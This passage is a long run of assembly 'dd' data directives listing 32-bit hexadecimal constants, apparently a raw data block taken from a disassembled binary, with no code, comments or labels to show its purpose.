0BDE82CE4h, 9E238200h, 9390E81Eh, 97CF0AE7h dd 605CD0A7h, 6241AA44h, 4B2AD03h, 0F021AB97h, 1EF6711h dd 6E812ACDh, 0D0894057h, 5400D97Fh, 2B700B39h, 18D2C4B9h dd 0B1C0E2ACh, 191282F0h, 30153FAAh, 84C63D10h, 6E583CCDh dd 65CD488h, 0A143AED5h, 781928CBh, 0C6B0C725h, 8FD4840Fh dd 4CC1296Bh, 0D262EC0h, 0FEC97B69h, 1782022Fh, 2BA393C8h dd 0FB6B6C48h, 6FC17309h, 0CC38AF18h, 1E844143h, 0AF026C7h dd 80CCF79Bh, 3C54FC6Bh, 560732DAh, 825B9611h, 4CEE2BF0h dd 374F0706h, 40771781h, 0A30A5D09h, 1AFEB378h, 8000237Eh dd 618292F4h, 7A344CB7h, 9B4E001Dh, 4ACA9E2h, 57007A93h dd 10AA9860h, 304A96E7h, 50205B2Dh, 6E0CFE1Bh, 10E5EF4Dh dd 0A1C3309Bh, 1136E208h, 9E97F206h, 3185E3h, 189CBA4Eh dd 3B138EF1h, 62AD5B33h, 0FCED9886h, 0E5963ABDh, 48884518h dd 0D0EA61C2h, 6742F48h, 0F416AED8h, 0E48D3D30h, 0F7599A33h dd 94CE9800h, 0EB182315h, 0B65B038Fh, 0FF69006h, 1F6ECDE0h dd 15724B1Dh, 62BE0587h, 19507137h, 577634D8h, 0F3F14495h dd 58450C8h, 0D1003A0Ch, 0AB4CA702h, 0C92770h, 6486A247h dd 0D6F99B8Ch, 6313E500h, 0D415CFB0h, 0E683030Fh, 464BAAA5h dd 0CE0A53C8h, 367A4016h, 80A2AF0Eh, 9B4C5BD1h, 3EBF03Fh dd 6E6DA61Ch, 0C9D02717h, 660CCEB6h, 89E036A3h, 71400AEh dd 0F0C03AEDh, 4C056170h, 13999DAAh, 0A848428h, 857B61F2h dd 0EA020A8h, 0D7A7477Ch, 0D808FEA1h, 2180D0BEh, 94E2831Eh dd 705A3707h, 0B596BB00h, 4F180358h, 0FEB225A7h, 3DE28103h dd 0B05930B8h, 5CE3B2Dh, 9EE717F2h, 60D00469h, 113120F8h dd 17623AABh, 0EF67604h, 0F0648AE5h, 0BFFE5h, 10574AFAh dd 1E0AB377h, 0FED23105h, 27C78597h, 0D8B743C0h, 7C711E9Ch dd 0AC78C0D9h, 70C606C4h, 44DF2003h, 0A0D72309h, 0F0B2CB1h dd 31F634F0h, 0B35887E0h, 0A3301878h, 0D62A30A5h, 776C0044h dd 0FE5F013h, 0E600391Eh, 0BF6790C2h, 3EC3036h, 89B14E7Ah dd 98A027EBh, 860E09CFh, 206AFCFDh, 0A5CD80C6h, 0F65E8AEh dd 946BF44Dh, 32EA5500h, 0EF0ED25Fh, 1F770CB3h, 80AD5043h dd 36707774h, 0C82E9CD9h, 1AE17309h, 522B0054h, 3FD8827Ch dd 0D1A9D3C3h, 5570C980h, 0DD444BF7h, 0B5C0E9F7h, 1E95793h dd 82EC31C8h, 0F3F260B9h, 90A62072h, 0FF200B03h, 7EE7F36Ah dd 171F3A38h, 0F1CF3278h, 4002D811h, 768123EFh, 1087B1C2h dd 0DEDC2A0h, 10A82086h, 540A3A44h, 1E43C0BDh, 7597C15h dd 6097FC74h, 9F1049DCh, 8BF4ED00h, 586A6E5Fh, 0C3F1061Fh dd 0D1365760h, 8CB47A28h, 8FA01500h, 32FD8E67h, 483662ECh dd 9C08D973h, 91180C2Ah, 52801495h, 40F460E6h, 4DE1750Ch dd 464CC20Dh, 322148CEh, 500048A8h, 6105AC6Ah, 0BD58E93Fh dd 0F8408370h, 319AF4ECh, 0F048FCA1h, 0E40104BFh, 0A5B0877h dd 0D1138850h, 37C0C4EFh, 86FC80AAh, 90C5A707h, 0D04A498Eh dd 12F00477h, 3EC0CF1h, 0C5785CB7h, 0F521BF0h, 0A8F300B4h dd 0AD8BBC87h, 92733328h, 0C1005A09h, 0F587A0D3h, 1B6DC53Fh dd 0B6783780h, 0C74650C8h, 0F13DA600h, 6CD6F772h, 402C50CEh dd 3E1F0E10h, 938179D4h, 98077118h, 0AF21E808h, 323E0037h dd 0A51E3D80h, 9DECDE8Ah, 7990EA15h, 72E701BCh, 1BE3D5A8h dd 685609Fh, 0E17E949Bh, 2FF9971Fh, 0CE02080h, 0CCD9E848h dd 0AA418C08h, 0FD300100h, 40B2CDA1h, 54B4002Dh, 39A5A272h dd 8016B12h, 0BF25837Bh, 2830283Eh, 19C81475h, 7064CCBCh dd 2FD5609Fh, 4320701Fh, 0FC8420Dh, 0E02FFDBEh, 0C05D838Ah dd 94EF5077h, 5B27A07h, 5905F863h, 32D04074h, 0E4972C7Ah dd 46E247F4h, 7FD01200h, 60D69345h, 0E4E85276h, 70660400h dd 0D4EC3340h, 0F105C6EEh, 0D72D5DEBh, 3238C3Bh, 4354F839h dd 0AE0025F4h, 4952817Fh, 0F70DC2Ch, 0E33192F5h, 808F63AFh dd 28A74D9Eh, 84380BD0h, 38301354h, 6618A5DEh, 90C845ACh dd 20116077h, 508EC8F6h, 2258C0A1h, 0E81C0260h, 42E43230h dd 940084CCh, 734B3080h, 9770CDh, 0EFE1B83Ah, 0E7F4D29Fh dd 6060AE74h, 3A153021h, 0EC580043h, 3D398070h, 3100AA53h dd 0EA7528C9h, 3FCDBE8h, 0C2370AB1h, 380026DEh, 36FEC577h dd 71AF27F9h, 7DA00060h, 5B7A9D4Eh, 44600180h, 0B1B4F848h dd 26D3007Bh, 13C94DE5h, 76000BC0h, 3D6BDFF9h, 7696E819h dd 867C8Ah, 64DE2836h, 0CED1F057h, 7A74251Dh, 934B7700h dd 3A02B790h, 278CC3FCh, 5F089204h, 0B94B90C0h, 0C56B7B8h dd 3C217AFCh, 4F69BC80h, 2A3600B1h, 396898BFh, 8F87AF7Eh dd 1C714032h, 0EC007341h dd 0C04E0B18h, 31FA0Ch, 6AE6B313h, 83F7476Ch, 7B00DFE8h dd 0D4E2CEDEh, 0D7D202h, 1D52F826h, 5EAA58D3h, 7E8CBE01h dd 0BBC08DDFh, 0CE089Eh, 0FD5AD85Fh, 6E0C26D6h, 0A0088980h dd 94C0A3Dh, 40D876E5h, 0E18F3A01h, 0BEAE1721h, 35004CA0h dd 987739FAh, 1A644F6h, 0D75B282h, 54B1A75Bh, 269C0894h dd 0FBB7B3C1h, 0D6189BC5h, 0BBC621C0h, 529D9B7h, 0E0711B89h dd 23243AD2h, 24FA00C8h, 8A15C4C2h, 0B4167403h, 0A0E55FA5h dd 72EE79h, 6327C7F3h, 664671A3h, 52BCF9C5h, 620ED441h dd 0A1E88B8Dh, 6EA50418h, 80F35834h, 7428FE34h, 12E6CEB0h dd 0DCA84A75h, 62078FADh, 82A45CFh, 2A324D63h, 0ACF908h dd 0AD672786h, 457760F5h, 82BFA701h, 28C0FF7Fh, 0ABEE7980h dd 6E0C6B89h, 0D0A06091h, 0A9E69021h, 4CCBE2A8h, 4B0B318h dd 0D87F7580h, 0E1888004h, 0A406A3BCh, 0F64B26D4h, 0DD750051h dd 37DF40Bh, 0FC0307AAh, 5C0C4F43h, 0AF8CC8EFh, 0F0E20040h dd 0F2D08F01h, 422BE384h, 96788086h, 15DB83Eh, 551316E8h dd 40B63CD6h, 3582D5F1h, 7322F300h, 86D2C26Eh, 0DD7F0430h dd 98144C3Ch, 3A040450h, 0AF0FE1B4h, 21006833h, 0CB39F934h dd 0FC27CDCh, 0CC71F760h, 72891F6Eh, 1D94B420h, 0C7002BEEh dd 0EA98CA85h, 9174D70Ah, 524200E4h, 0C42A76E7h, 5BD02100h dd 272B3ADFh, 29A40091h, 0A616FCCDh, 5C608B39h, 0D2D47779h dd 247B4C25h, 3A084E09h, 9CE26001h, 0D445D617h, 0A52EC20h dd 8EAC506Ch, 0BCFFE124h, 3A41CCC4h, 0CC843D17h, 0F0BF7DE0h dd 0BED424BEh, 0DC81605Ch, 0F500C523h, 16D86529h, 2456663Eh dd 28E859CFh, 0FBDC8160h, 62088C18h, 0C43245B8h, 248D40F6h dd 972D67h, 4C6E1C09h, 60CC8B0Dh, 0D05BCE06h, 0C8F08FDDh dd 91C0FC58h, 4645C162h, 0FC223Ah, 5A67298Ch, 48319F51h dd 48826430h, 104BB6DFh, 3A74650Fh, 2C18297Fh, 0D628D01h dd 1A185A44h, 259021C0h, 3F723867h, 7F00C9DBh, 6EE40E98h dd 0F2314B24h, 5BB329CFh, 0F8516FD9h, 1980D05Ch, 0D7FE5EFDh dd 711353E0h, 4422C8A4h, 0B78F302Ah, 0BBFBFF11h, 0BA9F7B88h dd 151380F8h, 0FFC38F7Dh, 3A2D247Ah, 27BF0AE8h, 842F8CD8h dd 80EFB30h, 678EDF6Bh, 0C08025DCh, 617424B6h, 33AB5187h dd 0E8717020h, 8C96800h, 7E095C80h, 0CD94A842h, 0BB960AE2h dd 3A88305Fh, 0A7D45C7Ch, 0FD567005h, 6BBC40D3h, 0B69935F2h dd 5ABE5B01h, 7AB0E512h, 2C158C30h, 32C55184h, 0F84C92A8h dd 34C16E24h, 1E1A4040h, 0A0CC4AE2h, 609F8D1Bh, 486FB896h dd 0E41274C2h, 69C820E6h, 7D00315Ah, 6B0D04D2h, 0F5759F9h dd 9EFA34Dh, 3DD1D7E0h, 260EB3B2h, 625865C5h, 807A5F6Ah dd 8B33926Ch, 0CAF02C70h, 4153ECCh, 6D00D8CBh, 3DF2FB2Ah dd 3248E9CEh, 0D8EF01C8h, 4ACF4797h, 0EC6279C1h, 48C15034h dd 0B5C024E8h, 46FC01B7h, 981228Bh, 7FB7BDC4h, 5C0F877h dd 0A4E12C91h, 50C096F3h, 0E695E8A0h, 757188h, 178B4283h dd 126D1C65h, 29E81BF2h, 710F3100h, 51427B67h, 44F30098h dd 4B28526Ch, 0C00F6150h, 0C0943E7Ch, 0A477AF0Eh, 35410034h dd 0D8EE842Bh, 74036EBAh, 5ABF31B3h, 75510395h, 17694289h dd 26386844h, 3BD53240h, 0B0004281h, 0F3B4FD6Bh, 4503A72Dh dd 597EE538h, 0A490594h, 0C0180269h, 115B8E6h, 3D1E7DE0h dd 621F8D6Eh, 9F7C0840h, 60778792h, 68918178h, 0DB3CC5F6h dd 0F3FB8C5Dh, 602508CDh, 60B72096h, 0D00DDF6h, 9E665669h dd 0C86F8C7Fh, 90C0B0C9h, 46176A42h, 212D307Dh, 1D4288D2h dd 83C8808Fh, 7C205C9Fh, 98806FCAh, 0E4BC17B0h, 2B327D00h dd 0B59A310Ah, 6071600Dh, 0D96072E9h, 2F110160h, 38E55B0h dd 356E6588h, 818AD80h, 0C22072FEh, 25550069h, 0B7E69790h dd 0CE0FCF3Ah, 753BF7EEh, 0BC1A0EACh, 6D094E0h, 49779E02h dd 5F3A00D8h, 7A4A2C5Ah, 0FA07F7BAh, 9152CBB3h, 3A6403CEh dd 95403C37h, 6A39C681h, 0C48ED3C0h, 8CDBBB8h, 0BEF4213Ah dd 0F72F1339h, 0C45404B0h, 0A7089330h, 0D10FC91Ah, 3E3EF418h dd 48C1DD00h, 0B85366D8h, 592C3114h, 4284C7B0h, 1C5D17D1h dd 0A7CE280Bh, 293B5900h, 0C49DB3CBh, 0A89250DCh, 0E23EE68Ah dd 82E5F7AEh, 1C9AE830h, 0C311EC40h, 8BE16850h, 4E5A480Ch dd 48502Ch, 0B66DB846h, 30BD45ABh, 61BCED0Eh, 0CB984067h dd 1EDF56h, 22494F23h, 7AD411B2h, 8043C43Eh, 8DBC7CF0h dd 73D0D89h, 2B6E5C02h, 6FE871F3h, 4BF0EC0Ah, 6207DD00h dd 0C3EA885Dh, 4CB8F6h, 23419028h, 74B86D87h, 0A372BF00h dd 6188CFC9h, 58311E3Dh, 0C724F6h, 63BDFB1Bh, 0C50041A3h dd 48445150h, 0F357F33h, 58E2FA42h, 0D7822761h, 4E9770BCh dd 80C6CF38h, 0D0C5E33Ah, 0B4A29Dh, 7810B876h, 7C46772Eh dd 12C72400h, 2B8DC4AEh, 0E6180048h, 80AAF832h, 93006304h dd 15F01358h, 347392h, 0DD8D84A2h, 91AF2106h, 36863800h dd 4D2A2237h, 0E983003Ah, 62C415BBh, 0EE002F0Bh, 0BC5347CDh dd 4858FE27h, 0AE2434D0h, 346F0006h, 0A1AB9D5h, 74002A70h dd 4BB05F6Bh, 0A18F84h, 0C310ECA6h, 2481B22Eh, 74A50B07h dd 0DFF05D56h, 7307294h, 0C8B3042Fh, 0CC9A5265h, 80186041h dd 862D5F50h, 4C2452h, 97D9B15Ah, 1C90BE58h, 7E1C50E2h dd 4700E08Ah, 8760BF5h, 0F2E30352h, 3B322136h, 0F4734AC8h dd 5772DB8h, 0C7A2600h, 0EF79E763h, 5FD8008Ch, 8E496280h dd 9A00D9E5h, 0E4A5EA0Ah, 69021Ch, 0ED8F0F75h, 6C597D60h dd 0CE80F000h, 4C115438h, 93DA07FAh, 0A039AC89h, 0DC216C0Bh dd 476BEF00h, 6D09E54h, 9CC0018h, 1CC6CDB2h, 0EA00AEA2h dd 83B86577h, 636DA7E1h, 0ED4A30F0h, 1B0A1CB0h, 28FC7209h dd 69942091h, 9079BDEEh, 607000ACh, 559BC0DAh, 38002DCFh dd 92AECE16h, 8684E9h, 0AF6FF21Fh, 0E1FD0628h, 2D2C5700h dd 0C543B4D7h, 53480146h, 78344574h, 0D4188023h, 2D82CBB1h dd 181A7735h, 0C2F908Ah, 1CB0C45Bh, 8F296F00h, 0A8100ED0h dd 1B3900E3h, 0A015F383h, 8B00E450h, 0AAD9F791h, 38EC3B6Dh dd 0FF80CD56h, 78C08A1Eh, 0F0021150h, 0E4200899h, 21574070h dd 1DDFA0Fh, 3B7FA877h, 600E7433h, 0FD00CF6Fh, 7030A5C7h dd 241353Fh, 860B79F0h, 0C6406F5Ah, 800016F1h, 0D01E937Ch dd 9FFBAD6h, 0BCC78437h, 0DBE69400h, 83004913h, 1D56867Ah dd 364C385h, 0D7890577h, 17E80172h, 7E05F437h, 61CEC469h dd 0DA8116C0h, 0E87152h, 5ECB4A11h, 0C3E28F8h, 638030E3h dd 2B803001h, 0FAD2C238h, 49728140h, 5FB9002Ch, 0A69F6861h dd 25064ADDh, 0ABF3309Ah, 0AF0500E8h, 0E24E927Fh, 0C60EC19Bh dd 20E0DD38h, 0BFFF420Ch, 4457000Bh, 0A8CDB824h, 5C005116h dd 0EB7F9F5Eh, 7BFA90E7h, 0F83E00CAh, 0E9B78A3Fh, 0B900B8CEh dd 1EBB6DE1h, 969A99h, 987A05B0h, 0B1CFE997h, 334AAC01h dd 0D1B5A8C1h, 1F3FE0C7h, 0ED09007Ch, 0FEEEDB21h, 0D607688Dh dd 789D5AB4h, 3807A640h, 636E0053h, 0DFF6E571h, 0CE09BEF3h dd 7FA68FBh, 4E402500h, 26DFDEBh, 12936B5Fh, 3C4080ABh dd 0C100EC09h, 291D379Ch, 0C0850195h, 5D4F8318h, 0C40045FAh dd 3334EACCh, 1CB4CA37h, 40D680D9h, 1B9011FDh, 0F2074521h dd 0F6D4C060h, 2354DD31h, 4AF0C5E5h, 0B9B083h, 2D28DA3Dh dd 90859F7Bh, 9ECCD0Eh dd 0D0F805Ch, 18BFE20h, 5D0B5774h, 606698D1h, 2F00C890h dd 8610429Ch, 0A0188884h, 0FE8CE9Ch, 28B6F569h, 2A74AFE0h dd 0D20EFC8Bh, 20DE8567h, 1AB12F0Fh, 7C92B6h, 0ADE7600Bh dd 0D67BD1D2h, 569DDF0Bh, 0B63B8031h, 0E07FDAh, 4C0AEAFBh dd 20369273h, 21AFD41Fh, 0A4ED9480h, 0C598E6h, 7F87EE6Ah dd 0F1DC7274h, 421DD900h, 867E887Ch, 0AEB00FDh, 11520473h dd 1300702Fh, 339A2248h, 0EB9D61Ch, 26D84EDCh, 0C984DAE0h dd 0EE02A405h, 74FFF4FCh, 4A98C025h, 0C53A002Fh, 1496463Eh dd 0CB0C3F8h, 0B2EEF400h, 9250E593h, 10A00027h, 761B3CFFh dd 220FD269h, 4C232h, 0FBDE5BBh, 0FB3F3D55h, 47ADB200h dd 0DE972A4Bh, 0E36FD203h, 0C0E42892h, 4C14824Ah, 7A0EEAFBh dd 62E14920h, 0E494D7E6h, 0BA00CBB4h, 93BB8DEAh, 5B3C754h dd 4E10767Ch, 0D7D90159h, 0C0AEA963h, 0E2008C05h, 4FDFBD90h dd 0D89666h, 0CB384C7h, 45BBEA35h, 0C0342700h, 6DACE0FAh dd 25EE75h, 7B91671Bh, 0C7413C14h, 0A8666900h, 45DDFBA3h dd 7A210305h, 2C40E567h, 0DCDF8880h, 0FDE0A400h, 17093257h dd 0C4350068h, 0A9A51160h, 0CE0039FFh, 9612524Fh, 301B3FCBh dd 0EC388BC7h, 1779D105h, 465F1F00h, 1C401A2Bh, 5A8BA63h dd 16AD2AD8h, 96AF0D67h, 346266h, 0E063919h, 487DAC91h dd 0F6000AD9h, 2E5E765Bh, 5600F9E8h, 5CB6E712h, 31773Bh dd 9145F1C9h, 0A9CCD2BBh, 540004FCh, 0E14F95E6h, 0D1AC67h dd 5C791FF2h, 4AF1EEC6h, 2B006078h, 297DA0BBh, 19EABA2h dd 24F0050Dh, 307902E5h, 0D5798950h, 580137B0h, 0B25D0A0Bh dd 20DCA6F2h, 3F2B00B9h, 0D3AB9F21h, 0B0596CE7h, 53E1004Ch dd 0AEF244D5h, 0D68A0028h, 784CEEDAh, 7E3B8375h, 0F9AF80D7h dd 0EAA5325h, 846800D6h, 65D90CDDh, 8E0073B4h, 5FF9EDD8h dd 9896A1CEh, 0E856E214h, 309303C7h, 99428F17h, 48B61812h dd 3400800h, 38A4320h, 0E67E70C5h, 68D0E855h, 7B00CA87h dd 59510535h, 0E5526CB1h, 1F5BCE4h, 8A24983Ah, 80960420h dd 0DD9516C1h, 2AC0D561h, 798F37Bh, 0C2799258h, 0AE0A10AFh dd 3916550Dh, 0BE076E02h, 0ECE1D4DCh, 7D60374Bh, 8D97042Fh dd 0C0D7D5B6h, 50F26E59h, 7C003549h, 0C6D7606h, 0F21C1B2Dh dd 0CE2A33F7h, 80BFFA80h, 0B12EDBB0h, 0B6D4025h, 385E0E9Ch dd 0EEEAA41h, 0FDEF33A5h, 0B0882D87h, 58AB14E6h, 66684B00h dd 82C2CC28h, 87AE3CB6h, 0EB1A6500h, 7B10F653h, 0CA6F642Ch dd 0A5F5EF03h, 85C0C7C4h, 0AC8835h, 65603FABh, 22E1208Dh dd 5CC99200h, 86CA7FF6h, 3E4F006Dh, 0C189E260h, 0D001526h dd 455EC56Bh, 6C55C44Eh, 4420600Bh, 0FE250F02h, 0E0FF1199h dd 1767005h, 0D165406Ch, 0EF0FB3D8h, 260281Fh, 0FAA3D5C0h dd 0E54069h, 2F51859Ah, 0C0BB4A66h, 65E16F07h, 0D2C3A2E6h dd 37610068h, 0C5AE8899h, 7E7F60DFh, 9206FB07h, 1F08B11h dd 7E0AE2EFh, 30ED639Ah, 97836C61h, 83EA201Eh, 0F60EB9C0h dd 56A18BAh, 3D09D840h, 6800043h, 8C826972h, 71C361E2h dd 788F11B8h, 0E01266B0h, 0DB00310Ah, 76E8ADD2h, 0FCDDBB28h dd 0AB3E0E74h, 20C688E5h, 0F5E04018h, 0E8A0F051h, 0CE3FCBF7h dd 0D990E08Ah, 533B4FEh, 603C89E1h, 8B242077h, 0BF8187CBh dd 0F340088Ch, 58DA048h, 6175D2DAh, 122EB48h, 40B9E0C0h dd 0E24443A9h, 0CB385FFCh, 0E141C82Dh, 405B200Ah, 8EE7DD78h dd 292F2B20h, 5984E140h, 0B190A5Ch, 4AE6410Fh, 641DC880h dd 176B0043h, 50A04463h, 52C0C816h, 14B184FFh, 49880960h dd 4008194Bh, 0FC800A10h, 0A5775688h, 0AB1248A6h, 200A42CFh dd 295688FCh, 88446184h, 0E00D0C8Bh, 36C14897h, 0C6E43824h dd 0A01E6008h, 98FD4029h, 0E0A4D59h, 0C541D8EBh, 0BC4A3D40h dd 565698F2h, 0CB0E547Ch, 0C0C43C8Fh, 22A00680h, 28E249A1h dd 6D58DB21h, 3150A6E9h, 8058872Bh, 2948B8EAh, 9C58A4DAh dd 0B298E65h, 8D5890C8h, 464084EDh, 35A5326Bh, 0C48E15D8h dd 9094EC8Ah, 4274ACC9h, 4B51616Dh, 90413667h, 0E8423B84h dd 0CE0A0F53h, 538FF890h, 8836528h, 192C9805h, 0C0409552h dd 203FB0B9h, 74F1560Ch, 157FBB80h, 0B0A994D2h, 40788523h dd 0AC78F101h, 0C85619B1h, 610B393Ch, 0D7C0D037h, 670EA65h dd 8683C6Ch, 6B2BB09Bh, 4109B339h, 9F092B37h, 622E0A8h dd 81C36AD5h, 0A1E9BE4Bh, 607E380h, 2DF008FDh, 512050C6h dd 9C602B08h, 22C3E0ACh, 59C26D15h, 0C1828BABh, 34279C90h dd 56BD86DCh, 8B023946h, 0A03F8185h, 0B8344F9Dh, 4A08CC8Ch dd 0CE44EB39h, 8DC9Eh, 5864AEA7h, 18E81D11h, 0F124C400h dd 0BC710B06h, 2B590049h, 0D85E6BDAh, 14019C05h, 40363A1h dd 0FBE964A9h, 0DB583888h, 102C6D78h, 71EB5AF0h, 89180840h dd 1E384E98h, 4F11D9C6h, 0A49D4301h, 2E8B864h, 7D1C9CD8h dd 0C75610ABh, 39A30C16h, 0ED6D68A2h, 0ADE9F8D0h, 33D38174h dd 7174083h, 30E1F353h, 58080F30h, 10CCD1E2h, 57B8081Ch dd 0E9C180EEh, 889F8BBFh, 8FEE351h, 0D80851F8h, 22203CEEh dd 8CED582Bh, 0FF0239E3h, 62C3E17Ch, 0E7B848CEh, 0FC0C8CBEh dd 897EC084h, 984F4023h, 77D97666h, 94B63E9h, 2037E2ADh dd 0E4C508ACh, 11BF9C7Ch, 15CF6h, 64FB6503h, 0CAFC9F78h dd 0F894E508h, 452291C9h, 7BFE20Dh, 6C5869BDh, 0BB1841B3h dd 0BE10B9B4h, 8F9808BCh, 0DCEB0CA1h, 0C251DF60h, 0F183D5A4h dd 9589E9D8h, 0B03C4A38h, 44FF69F0h, 46634320h, 0B981B870h dd 62F9F868h, 7894D8D0h, 93781F6Bh, 3858066Ch, 0C5286090h dd 0C1638CD7h, 8EDD7808h, 80257510h, 0A4A1D267h, 38948CEFh dd 0C3BA091Bh, 0A79BF8A0h, 0B075202Bh, 0BFA161EEh, 0A3011E10h dd 479054B3h, 0C832D88Ch, 35114C19h, 1328A0BEh, 8B81090h dd 907637DDh, 41DAD442h, 1C277418h, 64DBDEC1h, 837995E5h dd 44D839CCh, 78BA63CCh, 78E1B568h, 2860BA06h, 1819C459h dd 0EEE0FB9Ah, 76380889h, 40FC703Eh, 71AB6831h, 3801BDE3h dd 2D580167h, 46268507h, 8DE41BCh, 0C0F47757h, 51C2AB4Fh dd 16C3801Dh, 72622492h, 83A93858h, 51D3F89Ch, 7198F008h dd 0E980822h, 0C60BD880h, 0F0B83819h, 690A46Fh, 31088441h dd 0CF40868Bh, 15080385h, 945BF808h, 0FE40E73Ah, 7B808C6h dd 909C6F11h, 1808898Ch, 98BBF633h, 40085151h, 77B8F000h dd 6428CDA0h, 994EF110h, 0C821E909h, 55380888h, 666B7803h dd 67983168h, 206D4108h, 6E40D668h, 0F808C385h, 2024626Ah dd 980C7CC6h, 40EB0954h, 6F666569h, 4009EA20h, 9531B850h dd 6A4470B6h, 2004509Dh, 686BCC33h, 380812C1h, 8E4845E7h dd 0B840592h, 9D900A91h, 485C28E4h, 0E43110D6h, 0F2731808h dd 4D8AC02h, 9558043Ch, 42B85C80h, 9238C4D9h, 0E0AF04DFh dd 4F7E3C82h, 910281A4h, 11D5CFBh, 0B8402F23h, 0CAD39BD8h dd 24E4B348h, 845037D0h, 4909F78h, 0B9086242h, 93220344h dd 5919312Ch, 7710BD6Bh, 81F80886h, 0CA4018BEh, 1A514418h dd 3D7808C4h, 1937B806h, 20B26520h, 7067B39Ch, 19C85B11h dd 2488194Eh, 9CEB9FCh, 0A760B94Ch, 26E25025h, 0B64909F1h dd 49F62254h, 0F92444EDh, 220E914Ch, 0F188449Fh, 97125089h dd 67487E24h, 0E8224991h, 8954DB44h, 494C1242h, 8412D148h dd 463BA22h, 15288546h dd 807928A8h, 38807CB8h, 60916AD4h, 0C8DA4730h, 0CA11C819h dd 15C7801h, 5801C018h, 4989123Fh, 9030CF48h, 386040B8h dd 808166Fh, 33DA91EBh, 0CC88211Ah, 0A4023894h, 838D27D8h dd 2C83B2D8h, 8C40DD90h, 56A88A80h, 7138D566h, 48981810h dd 0C4EA88B1h, 0C6DC18C4h, 78DE3483h, 406B4808h, 0E2B1F80Ch dd 0E140F010h, 3118B083h, 6E099A58h, 4A9897F4h, 78982004h dd 0D008237Ch, 381EE0B4h, 58D36FFEh, 12C8844Ch, 257092EDh dd 829804Ch, 0A43B4118h, 0BDF8B460h, 134E301Fh, 0B36E4361h dd 68C22492h, 4834458h, 3E4A49E9h, 1062F2D8h, 1319EB05h dd 0BC1C33A3h, 1812D190h, 9860069Eh, 0A1F0C0C9h, 18EEC8ABh dd 689210F0h, 0B230F344h, 64684920h, 31BC8510h, 0CBF810EBh dd 1980889h, 8606826h, 0A265F798h, 0B4924318h, 0C56449FAh dd 5FF80888h, 8194B809h, 6E9718B4h, 1F4B0892h, 12B61070h dd 6C04D138h, 0B8D31DD8h, 0B8080CDAh, 5A58B471h, 763144B2h dd 6B19186Ah, 485C2893h, 203C10A4h, 87182482h, 1EA28944h dd 0C80A54BCh, 0A4E184E0h, 0A2D58389h, 0CA85C314h, 989C012Ch dd 20271EADh, 0F293469Dh, 0E32049D2h, 73826A2h, 40B81AD0h dd 0F30C10BCh, 41994662h, 0A84B59C3h, 781EA312h, 0F2119F04h dd 23157BD3h, 81B478AFh, 8B42999Fh, 0A75A0331h, 12486058h dd 0D67C4A95h, 0BA0DD878h, 0E2921E22h, 1E689270h, 47118A26h dd 0D314A70Dh, 0A3C07788h, 0E3F0F2BBh, 0AA18C80Eh, 0DD466309h dd 0BF2098D2h, 1A5300F4h, 960550B8h, 0E1A0CC17h, 4B310311h dd 894A4088h, 0C4BEC3E0h, 3CC92348h, 0E97011BCh, 25AC109Eh dd 3864E33Eh, 86C6863h, 4ED4E36h, 90658C01h, 94F54311h dd 5B15088Ch, 8C319D8h, 315C7CE3h, 430881A0h, 5711905Dh dd 194E8318h, 30C56237h, 800CB15Ah, 3C2308B5h, 0E15FA6EFh dd 15989BC9h, 0F2B0B908h, 12543804h, 2CC46519h, 0A6CB6CE1h dd 0FE1C0398h, 0BE218E5Bh, 857E4EA0h, 0A8E4C100h, 87197652h dd 3B980030h, 69C34849h, 590CE24Ah, 30E6B5A3h, 19EC74B1h dd 8F4FD6Eh, 73AE00F8h, 40EEF8F1h, 1C648E68h, 84680E60h dd 0F8894008h, 0D0030649h, 413340EBh, 231B58F9h, 7C40CE40h dd 88E02ABEh, 2E80FBE3h, 80B4630Fh, 5031BBE4h, 0CD4E08D6h dd 1920F013h, 1EAE32ECh, 0A348E68h, 58869B43h, 0F1B0BB84h dd 0F6FDAE68h, 0F74048C6h, 0FAAA3040h, 5C02FBB0h, 0B365C8F8h dd 0B47C1E10h, 0CCAF1155h, 0C3231450h, 0BE8E08B0h, 0BCCD14EDh dd 0E745CE0Ch, 78DD7BE0h, 0E1088E1Bh, 0C807F031h, 11C20E0Ch dd 0DE8E80AEh, 80CB4E80h, 6E80F72Eh, 0EE21CCF2h, 0F1401119h dd 0CE08C40Ah, 27CC1F4Dh, 0C45810F2h, 4564E08h, 0EE047F2Eh dd 8A1486Bh, 6E08960Eh, 8CD8948Fh, 9F7637Ch, 1833FB5Ch dd 0BE4E08DFh, 0EF24011h, 60FC1A33h, 8E08106Dh, 0AB407CA5h dd 21DE63AEh, 403AFD05h, 64C1407Bh, 93F618F9h, 920F120h dd 3A0E7DEDh, 1D245C04h, 0FC18F94Ch, 4840FBD7h, 0C0E35083h dd 0CC228AEh, 8B76CECh, 20F109C0h, 20C6A188h, 4990A253h dd 0EFF05C18h, 15446E3Eh, 0EEB03363h, 61228CE8h, 0F8E34189h dd 0CEF80F8Bh, 8E68B062h, 170E025Dh, 0EC835C4Fh, 1807644Ah dd 0C8FEC369h, 4893172Eh, 21F096E0h, 0A339C43Ch, 43AE04FBh dd 1BBF4093h, 8BB0E98h, 1120BDC3h, 0BA6E31B7h, 99970FB9h dd 1A093A30h, 0A3DBC5Fh, 79591518h, 0F3492803h, 8A6322Ch dd 18E30897h, 9FFD08A0h, 0AB8718C6h, 0ACE03358h, 80CD7A8h dd 0E8B24ECEh, 8E08C477h, 1700D225h, 0CBC0E22h, 19576E09h dd 0A4BDC1DCh, 0E3112AACh, 0F28034B2h, 0F620789Ah, 0C6DE75FCh dd 70F9A718h, 88086828h, 0BC91C64h, 2B3E6148h, 5FE0E413h dd 89AB4945h, 4E798643h, 6A70EFD3h, 33A47847h, 168A8E70h dd 8706C484h, 7C14C51Ch, 27117CF8h, 2318B055h, 0A42E60FAh dd 81AED8C4h, 0A9EA492h, 0EDD93180h, 0BE120201h, 0A22004ECh dd 28406C8h, 6F4C783h, 0CA160AEh, 166895FAh, 0BBB0F7C0h dd 8083FF82h, 0C889CD63h, 692C8852h, 98BCEE00h, 0E0AC152Bh dd 9D8C92F7h, 15C399C5h, 1848947Ch, 317BA142h, 0C49A6AA3h dd 84030D24h, 0F0841015h, 4467AFFEh, 686203B2h, 20BAE40h dd 80BE0F8Eh, 0B7607B0Ch, 4DE34175h, 0DC241CCAh, 78329004h dd 0C17C1256h, 5848C41Bh, 0EED54310h, 2048BE83h, 95F0366Eh dd 0D1CE08C4h, 3FB1E34Ch, 12F8AB65h, 1546987Ch, 0D8E7C8ABh dd 60BA2318h, 94AF11CEh, 0DD732B81h, 830182D5h, 9C38A864h dd 8CB9908Fh, 71998FD9h, 